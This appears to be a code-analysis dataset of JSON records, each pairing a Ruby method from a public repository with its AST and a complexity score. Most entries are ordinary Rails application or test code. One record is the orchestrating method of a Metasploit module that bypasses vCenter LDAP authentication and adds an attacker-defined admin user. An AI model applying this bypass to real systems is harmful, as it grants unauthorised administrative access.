{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/test/lib/zeitwerk/test_ignore.rb","start_line":7,"raw_source":"def this_dir\n    @this_dir ||= __dir__\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"this_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@this_dir\"]},{\"type\":\"send\",\"children\":[null,\"__dir__\"]}]}]}","id":"6b60d8f0-e957-44f3-9de7-dd6793b10f3a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/orchestration_stack.rb","start_line":93,"raw_source":"def stdout(format = nil)\n    format.nil? ? try(:raw_stdout) : try(:raw_stdout, format)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stdout\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"format\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"try\",{\"type\":\"sym\",\"children\":[\"raw_stdout\"]}]},{\"type\":\"send\",\"children\":[null,\"try\",{\"type\":\"sym\",\"children\":[\"raw_stdout\"]},{\"type\":\"lvar\",\"children\":[\"format\"]}]}]}]}","id":"c97cc3c1-d59f-4ae1-b6bd-a9bcfd9e84da"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq.rb","start_line":98,"raw_source":"def self.loader\n    @loader ||= Loader.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"loader\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@loader\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Loader\"]},\"new\"]}]}]}","id":"a817dc4b-2402-4a12-8b45-c08eed22ab68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/batched_job.rb","start_line":232,"raw_source":"def handle_sidekiq_shutdown_failure?(exception)\n          return false unless exception.is_a?(Sidekiq::Shutdown)\n          return false unless attempts > 1\n          return false unless sidekiq_shutdown_failures_count <= MAX_SIDEKIQ_SHUTDOWN_FAILURES\n\n          true\n        end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_sidekiq_shutdown_failure?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"Shutdown\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attempts\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sidekiq_shutdown_failures_count\"]},\"<=\",{\"type\":\"const\",\"children\":[null,\"MAX_SIDEKIQ_SHUTDOWN_FAILURES\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"76297105-6cb7-4c92-910f-20d3b38478f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/audit_events/common_model.rb","start_line":118,"raw_source":"def target_id\n      details[:target_id]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"target_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_id\"]}]}]}","id":"ecaa697f-1eea-496c-9d13-fa9648584481"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/clusters/clusters_hierarchy.rb","start_line":58,"raw_source":"def same_namespace_management_clusters_query\n      clusterable.management_clusters\n        .project_type\n        .select([clusters_star, 'NULL AS group_parent_id', \"0 AS #{DEPTH_COLUMN}\"])\n        .for_project_namespace(clusterable.namespace_id)\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"same_namespace_management_clusters_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clusterable\"]},\"management_clusters\"]},\"project_type\"]},\"select\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clusters_star\"]},{\"type\":\"str\",\"children\":[\"NULL AS group_parent_id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"0 AS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEPTH_COLUMN\"]}]}]}]}]},\"for_project_namespace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clusterable\"]},\"namespace_id\"]}]}]}","id":"d600a570-4cc1-46d4-9d84-9612c09248b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/services/git/wiki_push_service_shared_examples.rb","start_line":30,"raw_source":"def run_service\n        process_changes { described_class::MAX_CHANGES.succ.times { write_new_page } }\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_changes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"MAX_CHANGES\"]},\"succ\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"write_new_page\"]}]}]}]}","id":"a1a3ddf9-2fcc-4562-aeb9-f47a55b8fcaf"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":468,"raw_source":"def test_member_when_non_AR_object_passed_on_unloaded_relation\n    assert_no_queries do\n      assert_equal false, Customer.where(name: \"David\").member?(\"I'm not an AR object\")\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_member_when_non_AR_object_passed_on_unloaded_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},\"member?\",{\"type\":\"str\",\"children\":[\"I'm not an AR object\"]}]}]}]}]}","id":"72bb2ca7-5ff4-4f0d-a64d-db38cfade07b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/capybara/block_requests_made_outside_of_test.rb","start_line":40,"raw_source":"def call(env)\n    if @blocked\n      [500, {}, \"RequestsBlocker is blocking further requests because test is finished.\"]\n    else\n      @app.call(env)\n    end\n  end","complexity_score":2.38,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@blocked\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[500]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"str\",\"children\":[\"RequestsBlocker is blocking further requests because test is finished.\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"40ebf5e1-1779-4f39-b9a5-0c9472464e75"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable/common_system_notes_service.rb","start_line":75,"raw_source":"def create_labels_note(old_labels)\n      added_labels = issuable.labels - old_labels\n      removed_labels = old_labels - issuable.labels\n\n      ResourceEvents::ChangeLabelsService\n        .new(issuable, current_user)\n        .execute(added_labels: added_labels, removed_labels: removed_labels)\n    end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_labels_note\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_labels\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"added_labels\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"labels\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"old_labels\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"removed_labels\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_labels\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"labels\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResourceEvents\"]},\"ChangeLabelsService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"issuable\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"added_labels\"]},{\"type\":\"lvar\",\"children\":[\"added_labels\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"removed_labels\"]},{\"type\":\"lvar\",\"children\":[\"removed_labels\"]}]}]}]}]}]}","id":"9694cde9-a8aa-4042-836a-aaf0f6e826b9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/ldap_auth_source.rb","start_line":201,"raw_source":"def mapped_attributes(entry)\n    %i[login firstname lastname mail admin].each_with_object({}) do |key, hash|\n      ldap_attribute = send(:\"attr_#{key}\")\n      next if ldap_attribute.blank?\n\n      val = LdapAuthSource.get_attr(entry, ldap_attribute)\n      val = !!ActiveRecord::Type::Boolean.new.cast(val) if key == :admin\n      hash[key] = val\n    end\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"mapped_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"login\"]},{\"type\":\"sym\",\"children\":[\"firstname\"]},{\"type\":\"sym\",\"children\":[\"lastname\"]},{\"type\":\"sym\",\"children\":[\"mail\"]},{\"type\":\"sym\",\"children\":[\"admin\"]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ldap_attribute\",{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"attr_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap_attribute\"]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LdapAuthSource\"]},\"get_attr\",{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"lvar\",\"children\":[\"ldap_attribute\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"==\",{\"type\":\"sym\",\"children\":[\"admin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},\"!\"]},\"!\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]}]}]}","id":"bdda94ed-d951-45e3-be3d-d2d0b79e6d79"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/cleanup/execute_policy_service.rb","start_line":54,"raw_source":"def unique_package_id_and_file_name_and_package_type_from(package_files)\n        # rubocop: disable CodeReuse/ActiveRecord -- This is a highly custom query for this service, that's why it's not in the model.\n        package_files.joins(:package)\n                     .group(:package_id, :file_name, \"#{::Packages::Package.table_name}.package_type\")\n                     .having(\"COUNT(*) > #{@policy.keep_n_duplicated_package_files}\")\n                     .pluck(:package_id, :file_name, \"#{::Packages::Package.table_name}.package_type\") # rubocop:disable Database/AvoidUsingPluckWithoutLimit -- package_files is already in batches\n        # rubocop: enable CodeReuse/ActiveRecord\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"unique_package_id_and_file_name_and_package_type_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_files\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_files\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"package\"]}]},\"group\",{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".package_type\"]}]}]},\"having\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"COUNT(*) > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"keep_n_duplicated_package_files\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"package_id\"]},{\"type\":\"sym\",\"children\":[\"file_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Package\"]},\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".package_type\"]}]}]}]}","id":"0eb4f97d-91f1-46eb-b0c1-561e5eda1237"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/category_permission_row.rb","start_line":32,"raw_source":"def toggle_group_permission(group_name, permission)\n        find(group_permission_row_selector(group_name)).find(\".#{permission}-toggle\").click\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_group_permission\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]},{\"type\":\"arg\",\"children\":[\"permission\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"send\",\"children\":[null,\"group_permission_row_selector\",{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permission\"]}]},{\"type\":\"str\",\"children\":[\"-toggle\"]}]}]},\"click\"]}]}","id":"a8757514-ff91-4851-8ccb-7fca0d6cc545"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.rb","start_line":84,"raw_source":"def run\n    unless new_username && new_password\n      print_error('Please set the NEW_USERNAME and NEW_PASSWORD options to proceed')\n      return\n    end\n\n    # NOTE: check is provided by auxiliary/gather/vmware_vcenter_vmdir_ldap\n    checkcode = check\n\n    return unless checkcode == Exploit::CheckCode::Vulnerable\n\n    if (@base_dn = datastore['BASE_DN'])\n      print_status(\"User-specified base DN: #{base_dn}\")\n    else\n      # HACK: We stashed the detected base DN in the CheckCode's reason\n      @base_dn = checkcode.reason\n    end\n\n    ldap_connect do |ldap|\n      print_status(\"Bypassing LDAP auth in vmdir service at #{ldap.peerinfo}\")\n      auth_bypass(ldap)\n\n      print_status(\"Adding admin user #{new_username} with password #{new_password}\")\n\n      unless add_admin(ldap)\n        print_error(\"Failed to add admin user #{new_username}\")\n      end\n    end\n  rescue Net::LDAP::Error => e\n    print_error(\"#{e.class}: #{e.message}\")\n  end","complexity_score":44.8,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_username\"]},{\"type\":\"send\",\"children\":[null,\"new_password\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Please set the NEW_USERNAME and NEW_PASSWORD options to proceed\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"checkcode\",{\"type\":\"send\",\"children\":[null,\"check\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkcode\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BASE_DN\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User-specified base DN: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dn\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_dn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkcode\"]},\"reason\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ldap_connect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ldap\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bypassing LDAP auth in vmdir service at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ldap\"]},\"peerinfo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"auth_bypass\",{\"type\":\"lvar\",\"children\":[\"ldap\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding admin user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_username\"]}]},{\"type\":\"str\",\"children\":[\" with password \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_password\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_admin\",{\"type\":\"lvar\",\"children\":[\"ldap\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to add admin user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_username\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"f2b7e63a-aefd-4a24-a119-ff26b0bc86c5"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/purge_ems.rb","start_line":45,"raw_source":"def existing_backlog?\n  # Watching the destroy queue messages be processed can take a long time so terminal disconnects\n  # are likely.  Therefore, if running it again, detect when it's in progress, skip queueing more\n  # and skip right to watching the updated progress if desired.\n  current_backlog > 0\nend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_backlog?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_backlog\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"1e0ba23f-80aa-41c4-920b-352dbd7b2e05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/mailgun/webhooks_controller.rb","start_line":34,"raw_source":"def authenticate_signature!\n      access_denied! unless valid_signature?\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_signature!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_signature?\"]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"a569027f-d970-4231-955a-7b8d002beaf9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config/external/file/project.rb","start_line":25,"raw_source":"def matching?\n              super && project_name.present?\n            end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"matching?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_name\"]},\"present?\"]}]}]}","id":"1049355f-ce4b-4c11-b2b6-a6dc46abaf22"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb","start_line":201,"raw_source":"def timing_get_once(sock, length)\n    timeout = datastore['TIMEOUT']\n    if timeout && timeout > 0\n      return sock.get_once(length, timeout)\n    else\n      return sock.get_once(length)\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"timing_get_once\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]},{\"type\":\"arg\",\"children\":[\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"get_once\",{\"type\":\"lvar\",\"children\":[\"length\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"get_once\",{\"type\":\"lvar\",\"children\":[\"length\"]}]}]}]}]}]}","id":"f2b97455-1605-4045-8144-e9b418f7d846"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/client.rb","start_line":117,"raw_source":"def tunes_team_id\n        return nil if @tunes_client.nil?\n        return @tunes_client.team_id\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tunes_team_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tunes_client\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tunes_client\"]},\"team_id\"]}]}]}]}","id":"138877fd-7ae4-45b2-a97d-2f56b68ec2ef"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/components/ldap_groups/synchronized_filters/show_page_header_component.rb","start_line":40,"raw_source":"def breadcrumb_items\n    [\n      { href: admin_index_path, text: t(:label_administration) },\n      { href: admin_settings_authentication_path, text: t(:label_authentication) },\n      { href: ldap_groups_synchronized_groups_path, text: I18n.t(\"ldap_groups.label_menu_item\") },\n      helpers.nested_breadcrumb_element(t(\"ldap_groups.synchronized_filters.singular\"),\n                                        @filter.name)\n    ]\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"breadcrumb_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_index_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_administration\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_settings_authentication_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_authentication\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"ldap_groups_synchronized_groups_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"ldap_groups.label_menu_item\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"nested_breadcrumb_element\",{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"ldap_groups.synchronized_filters.singular\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filter\"]},\"name\"]}]}]}]}","id":"86443857-4cb8-4b88-8c5c-d0d1848e493a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_email_controller.rb","start_line":39,"raw_source":"def update\n    params.require(:email)\n    user = fetch_user_from_params\n\n    RateLimiter.new(user, \"email-hr-#{request.remote_ip}\", 6, 1.hour).performed!\n    RateLimiter.new(user, \"email-min-#{request.remote_ip}\", 3, 1.minute).performed!\n\n    updater = EmailUpdater.new(guardian: guardian, user: user)\n    updater.change_to(params[:email])\n\n    return render_json_error(updater.errors.full_messages) if updater.errors.present?\n\n    render body: nil\n  rescue RateLimiter::LimitExceeded\n    render_json_error(I18n.t(\"rate_limiter.slow_down\"))\n  